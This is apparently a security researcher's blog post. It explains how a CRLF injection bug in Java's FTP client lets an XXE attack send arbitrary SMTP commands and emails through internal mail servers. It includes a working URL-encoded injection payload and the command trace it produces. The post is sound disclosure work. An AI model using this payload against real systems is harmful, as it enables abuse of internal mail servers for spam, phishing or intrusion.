shift or die

security. photography. foobar.

Blog | Archives

SMTP over XXE − how to send emails using Java's XML parser

Feb 18, 2017

I regularly find XML eXternal Entity (XXE) vulnerabilities while performing penetration tests. These are particularly often present in Java-based systems, where the default for most XML parsers still is parsing and acting upon inline DTDs, even though I have not seen a single use case where this was really neceassary. While the vulnerability is useful for file disclosures (and Java is nice enough to also provide directory listings) or even process listings (via /proc/`pid`/cmdline), recently I stumbled over another interesting attack vector when using a Java XML parser.

Out of curiosity, I looked at what protocols would be supported in external entities. In addition to the usual such as `http` and `https`, Java also supports `ftp`. The actual connection to the FTP server is implemented in sun.net.ftp.impl.FtpClient. It supports authentication, so we can put usernames and passwords in the URL such as in

»

Recent Posts

- mrmcd CTF writeup: Friendly Machine
- mrmcd CTF writeup: Once Upon A Time
- Fingerprinting Firefox users with cached intermediate CA certificates (#fiprinca)
- SMTP over XXE − how to send emails using Java's XML parser
- A portscan by email − HTTP over X.509 revisited

Impressum/Imprint

`ftp://user:password@host:port/file.ext` and the FTP client will send the corresponding `USER` command in the connection.

The (presumably ancient) code has a bug, though: it does not verify the syntax of the user name. RFC 959 specifies that a username may consist of a sequence of any of the 128 ASCII characters except `<CR>` and `<LF>`. Guess what the JRE implementers forgot? Exactly – to check for the presence of `<CR>` or `<LF>`. This means that if we put `%0D%0A` anywhere in the user part of the URL (or the password part for that matter), we can terminate the USER (or PASS) command and inject a new command into the FTP session.

While this may be interesting on its own, it allows us to do something else: to speak SMTP instead of FTP. Note that for historical reasons, the two protocols are structurally very similar. For example, on connecting, they both send a reply with a 220 code and text:

```
$ nc ftp.kernel.org 21
220 Welcome to kernel.org
$ nc mail.kernel.org 25
220 mail.kernel.org ESMTP Postfix
```

So, if we send a `USER` command to a mail server instead of a FTP server, it will answer with an error code (since `USER` is not a valid SMTP command), but let us continue with our session. Combined with the bug mentioned above, this allows us to send arbitrary SMTP commands, which allows us to send emails. For example, let's set the URL to the following (newlines added for readability):

```
ftp://a%0D%0A
EHLO%20a%0D%0A
```

```
MAIL%20FROM%3A%3Ca%40example.org%3E%0D%0A
RCPT%20TO%3A%3Calech%40alech.de%3E%0D%0A
DATA%0D%0A
From%3A%20a%40example.org%0A
To%3A%20alech%40alech.de%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@shiftordie.de:25/a
```

When `sun.net.ftp.impl.FtpClient` connects using this URL, the following commands will be sent to the mail server at shiftordie.de:

```
USER a<CR><LF>
EHLO a<CR><LF>
MAIL FROM:<a@example.org><CR><LF>
RCPT TO:<alech@alech.de><CR><LF>
DATA<CR><LF>
From: a@example.org<LF>
To: alech@alech.de<LF>
Subject: test<LF>
<LF>
test!<LF><CR><LF>
.<CR><LF>
QUIT<CR><LF>
```

From Java’s perspective, the “FTP” connection fails with a `sun.net.ftp.FtpLoginException: Invalid username/password`, but the mail is already sent.

This attack is particularly interesting in a scenario where you can reach an (unrestricted, maybe not even spam- or malware-filtering) internal mail server from the machine doing the XML parsing. It even allows for sending attachments, since the URL length seems to be unrestricted and only limited by available RAM (parsing a 400MB long URL did take more than 32 GBs of RAM for some reason, though ;-)).

Posted by Alexander Klink

« A portscan by email – HTTP over X.509 revisited

Fingerprinting Firefox users with cached intermediate CA certificates (#fiprinca) »